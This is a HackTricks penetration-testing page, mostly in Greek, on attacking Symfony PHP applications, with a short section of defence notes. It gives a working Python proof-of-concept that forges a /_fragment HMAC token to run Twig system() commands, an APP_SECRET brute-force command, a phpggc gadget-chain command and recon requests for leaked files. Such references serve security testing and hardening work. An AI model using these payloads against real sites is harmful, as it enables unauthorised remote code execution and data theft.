Symfony

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Το Symfony είναι ένα από τα πιο ευρέως χρησιμοποιούμενα PHP frameworks και εμφανίζεται τακτικά σε αξιολογήσεις στόχων επιχείρησης, ηλεκτρονικού εμπορίου και CMS (Drupal, Shopware, Ibexa, OroCRM … όλα ενσωματώνουν στοιχεία του Symfony). Αυτή η σελίδα συγκεντρώνει επιθετικές συμβουλές, κοινές κακές ρυθμίσεις και πρόσφατες ευπάθειες που θα πρέπει να έχετε στη λίστα ελέγχου σας όταν ανακαλύπτετε μια εφαρμογή Symfony.

Ιστορική σημείωση: Ένα μεγάλο μέρος του οικοσυστήματος εξακολουθεί να τρέχει την έκδοση 5.4 LTS (EOL Νοέμβριος 2025). Πάντα να επαληθεύετε την ακριβή μικρή έκδοση γιατί πολλές από τις συμβουλές ασφαλείας 2023-2025 διορθώθηκαν μόνο σε patch releases (π.χ. 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • HTTP response headers: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ή cookies που ξεκινούν με sf_redirect, sf_session, MOCKSESSID.
  • Διαρροές πηγαίου κώδικα (composer.json, composer.lock, /vendor/…) συχνά αποκαλύπτουν την ακριβή έκδοση:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Δημόσιες διαδρομές που υπάρχουν μόνο στο Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (όμορφες σελίδες σφαλμάτων)
  • /app_dev.php, /config.php, /config_dev.php (προ-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith ή ffuf/feroxbuster wordlists: symfony.txt → αναζητήστε /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathWhy it matters
/.env, /.env.local, /.env.prodΣυχνά κακώς αναπτυχθέντα → διαρροές APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgΔιαρροή πηγής → διαπιστευτήρια + επιχειρηματική λογική
/var/log/*.log, /log/dev.logΚακή ρύθμιση web-root εκθέτει stack-traces
/_profilerΠλήρης ιστορία αιτημάτων, ρύθμιση, κοντέινερ υπηρεσιών, APP_SECRET (≤ 3.4)
/_fragmentΣημείο εισόδου που χρησιμοποιείται από ESI/HInclude. Κατάχρηση δυνατή μόλις γνωρίζετε το APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE αν είναι προσβάσιμο (CVE-2017-9841)
/index.php/_error/{code}Finger-print & μερικές φορές διαρροή εξαιρέσεων

High-impact Vulnerabilities (2023-2025)

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 αρχικά, αλλά ακόμα εμφανίζεται σε σύγχρονους στόχους όταν το debug παραμένει ενεργοποιημένο ή το .env είναι εκτεθειμένο.
  • Μόλις γνωρίζετε το 32-char APP_SECRET, δημιουργήστε ένα HMAC token και καταχραστείτε τον εσωτερικό ελεγκτή render() για να εκτελέσετε αυθαίρετο Twig:
python
# PoC – απαιτεί το μυστικό
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Εξαιρετική περιγραφή & σενάριο εκμετάλλευσης: Ambionics blog (συνδεδεμένο στις Αναφορές).

2. Windows Process Hijack – CVE-2024-51736

  • Το στοιχείο Process αναζητούσε τον τρέχοντα κατάλογο εργασίας πριν από το PATH στα Windows. Ένας επιτιθέμενος που μπορεί να ανεβάσει tar.exe, cmd.exe, κ.λπ. σε ένα εγγράψιμο web-root και να ενεργοποιήσει το Process (π.χ. εξαγωγή αρχείων, δημιουργία PDF) αποκτά εκτέλεση εντολών.
  • Διορθώθηκε στην 5.4.50, 6.4.14, 7.1.7.

3. Session-Fixation – CVE-2023-46733

  • Ο φρουρός αυθεντικοποίησης επαναχρησιμοποίησε ένα υπάρχον ID συνεδρίας μετά την είσοδο. Εάν ένας επιτιθέμενος ρυθμίσει το cookie πριν από την αυθεντικοποίηση του θύματος, καταλαμβάνει τον λογαριασμό μετά την είσοδο.

4. Twig sandbox XSS – CVE-2023-46734

  • Σε εφαρμογές που εκθέτουν πρότυπα ελεγχόμενα από τον χρήστη (admin CMS, κατασκευαστής email) ο φίλτρο nl2br θα μπορούσε να καταχραστεί για να παρακάμψει την άμμο και να εισάγει JS.

5. Symfony 1 gadget chains (ακόμα βρέθηκαν σε κληρονομημένες εφαρμογές)

  • phpggc symfony/1 system id παράγει ένα Phar payload που ενεργοποιεί RCE όταν συμβαίνει unserialize() σε κλάσεις όπως sfNamespacedParameterHolder. Ελέγξτε τα endpoints μεταφόρτωσης αρχείων και τα wrappers phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce αδύναμου APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE μέσω εκτεθειμένου Symfony Console

Αν το bin/console είναι προσβάσιμο μέσω php-fpm ή άμεσης μεταφόρτωσης CLI:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Χρησιμοποιήστε gadgets αποδοχής μέσα στον κατάλογο cache ή γράψτε ένα κακόβουλο Twig template που θα εκτελείται στην επόμενη αίτηση.


Σημειώσεις άμυνας

  1. Ποτέ μην αναπτύσσετε debug (APP_ENV=dev, APP_DEBUG=1) σε παραγωγή; αποκλείστε το /app_dev.php, /_profiler, /_wdt στη ρύθμιση του web-server.
  2. Αποθηκεύστε μυστικά σε env vars ή vault/secrets.local.php, ποτέ σε αρχεία προσβάσιμα μέσω του document-root.
  3. Επιβάλετε τη διαχείριση patches – εγγραφείτε σε συμβουλές ασφαλείας του Symfony και διατηρήστε τουλάχιστον το επίπεδο patch LTS.
  4. Εάν τρέχετε σε Windows, αναβαθμίστε αμέσως για να μετριάσετε το CVE-2024-51736 ή προσθέστε μια άμυνα βάθους open_basedir/disable_functions.

Χρήσιμα επιθετικά εργαλεία

  • ambionics/symfony-exploits – secret-fragment RCE, ανακάλυψη διαδρομών debugger.
  • phpggc – Έτοιμες αλυσίδες gadgets για Symfony 1 & 2.
  • sf-encoder – μικρός βοηθός για τον υπολογισμό του _fragment HMAC (υλοποίηση Go).

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks